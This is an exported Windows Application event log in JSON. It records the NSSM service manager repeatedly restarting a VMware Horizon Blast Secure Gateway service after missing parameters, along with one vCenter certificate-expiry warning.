{"@timestamp":1646738663624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160926}}
{"@timestamp":1646738663624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160927}}
{"@timestamp":1646738663626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160928}}
{"@timestamp":1646738663627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160929}}
{"@timestamp":1646738673455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_VC_CERT_EXPIRY_WARNING\nCertificate will expire shortly for vCenter at address https://eng-vmvc401.engineering-ac.de:443/sdk\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Mar 08 12:24:33 CET 2022\n\tVCAddress=https://eng-vmvc401.engineering-ac.de:443/sdk\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.VCHealth\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":160930}}
{"@timestamp":1646738792150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160931}}
{"@timestamp":1646738792152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160932}}
{"@timestamp":1646738792153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158144","0"]}}},"module":"Application","provider":"nssm","sequence":160933}}
{"@timestamp":1646738792153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158144","158144","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160934}}
{"@timestamp":1646738792175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160935}}
{"@timestamp":1646738792175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160936}}
{"@timestamp":1646738792176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160937}}
{"@timestamp":1646738792177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160938}}
{"@timestamp":1646738920693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160939}}
{"@timestamp":1646738920693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160940}}
{"@timestamp":1646738920694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158296","0"]}}},"module":"Application","provider":"nssm","sequence":160941}}
{"@timestamp":1646738920694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158296","158296","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160942}}
{"@timestamp":1646738920714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160943}}
{"@timestamp":1646738920714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160944}}
{"@timestamp":1646738920715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160945}}
{"@timestamp":1646738920715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160946}}
{"@timestamp":1646739049217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160947}}
{"@timestamp":1646739049219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160948}}
{"@timestamp":1646739049220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157816","0"]}}},"module":"Application","provider":"nssm","sequence":160949}}
{"@timestamp":1646739049221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157816","157816","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160950}}
{"@timestamp":1646739049241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160951}}
{"@timestamp":1646739049242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160952}}
{"@timestamp":1646739049242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160953}}
{"@timestamp":1646739049243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160954}}
{"@timestamp":1646739177758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160955}}
{"@timestamp":1646739177759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160956}}
{"@timestamp":1646739177759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157552","0"]}}},"module":"Application","provider":"nssm","sequence":160957}}
{"@timestamp":1646739177760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157552","157552","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160958}}
{"@timestamp":1646739177780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156248","0"]}}},"module":"Application","provider":"nssm","sequence":160959}}
{"@timestamp":1646739177780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156248","157552","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160960}}
{"@timestamp":1646739177797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160961}}
{"@timestamp":1646739177798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160962}}
{"@timestamp":1646739177798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160963}}
{"@timestamp":1646739177799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160964}}
{"@timestamp":1646739306342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160965}}
{"@timestamp":1646739306343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160966}}
{"@timestamp":1646739306344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158368","0"]}}},"module":"Application","provider":"nssm","sequence":160967}}
{"@timestamp":1646739306344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158368","158368","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160968}}
{"@timestamp":1646739306366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160969}}
{"@timestamp":1646739306366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160970}}
{"@timestamp":1646739306367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160971}}
{"@timestamp":1646739306368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160972}}
{"@timestamp":1646739434869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160973}}
{"@timestamp":1646739434870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160974}}
{"@timestamp":1646739434870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151304","0"]}}},"module":"Application","provider":"nssm","sequence":160975}}
{"@timestamp":1646739434872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151304","151304","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160976}}
{"@timestamp":1646739434898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160977}}
{"@timestamp":1646739434899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160978}}
{"@timestamp":1646739434900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160979}}
{"@timestamp":1646739434901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160980}}
{"@timestamp":1646739563415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160981}}
{"@timestamp":1646739563416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160982}}
{"@timestamp":1646739563416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158108","0"]}}},"module":"Application","provider":"nssm","sequence":160983}}
{"@timestamp":1646739563417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158108","158108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160984}}
{"@timestamp":1646739563432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157116","0"]}}},"module":"Application","provider":"nssm","sequence":160985}}
{"@timestamp":1646739563433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157116","158108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160986}}
{"@timestamp":1646739563448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160987}}
{"@timestamp":1646739563448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160988}}
{"@timestamp":1646739563449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160989}}
{"@timestamp":1646739563449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160990}}
{"@timestamp":1646739691960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160991}}
{"@timestamp":1646739691961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160992}}
{"@timestamp":1646739691962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156564","0"]}}},"module":"Application","provider":"nssm","sequence":160993}}
{"@timestamp":1646739691963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156564","156564","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160994}}
{"@timestamp":1646739691985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160995}}
{"@timestamp":1646739691985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160996}}
{"@timestamp":1646739691986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160997}}
{"@timestamp":1646739691986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160998}}
{"@timestamp":1646739820500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160999}}
{"@timestamp":1646739820501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161000}}
{"@timestamp":1646739820502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157248","0"]}}},"module":"Application","provider":"nssm","sequence":161001}}
{"@timestamp":1646739820503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157248","157248","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161002}}
{"@timestamp":1646739820519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161003}}
{"@timestamp":1646739820520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161004}}
{"@timestamp":1646739820521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161005}}
{"@timestamp":1646739820522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161006}}
{"@timestamp":1646739949020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161007}}
{"@timestamp":1646739949021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161008}}
{"@timestamp":1646739949021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157992","0"]}}},"module":"Application","provider":"nssm","sequence":161009}}
{"@timestamp":1646739949022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157992","157992","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161010}}
{"@timestamp":1646739949043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161011}}
{"@timestamp":1646739949043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161012}}
{"@timestamp":1646739949044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161013}}
{"@timestamp":1646739949044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161014}}
{"@timestamp":1646740077573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161015}}
{"@timestamp":1646740077573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161016}}
{"@timestamp":1646740077575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158040","0"]}}},"module":"Application","provider":"nssm","sequence":161017}}
{"@timestamp":1646740077576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158040","158040","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161018}}
{"@timestamp":1646740077593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161019}}
{"@timestamp":1646740077594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161020}}
{"@timestamp":1646740077594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161021}}
{"@timestamp":1646740077595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161022}}
{"@timestamp":1646740206104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161023}}
{"@timestamp":1646740206105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161024}}
{"@timestamp":1646740206108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156368","0"]}}},"module":"Application","provider":"nssm","sequence":161025}}
{"@timestamp":1646740206108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156368","156368","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161026}}
{"@timestamp":1646740206127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161027}}
{"@timestamp":1646740206127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161028}}
{"@timestamp":1646740206128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161029}}
{"@timestamp":1646740206129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161030}}
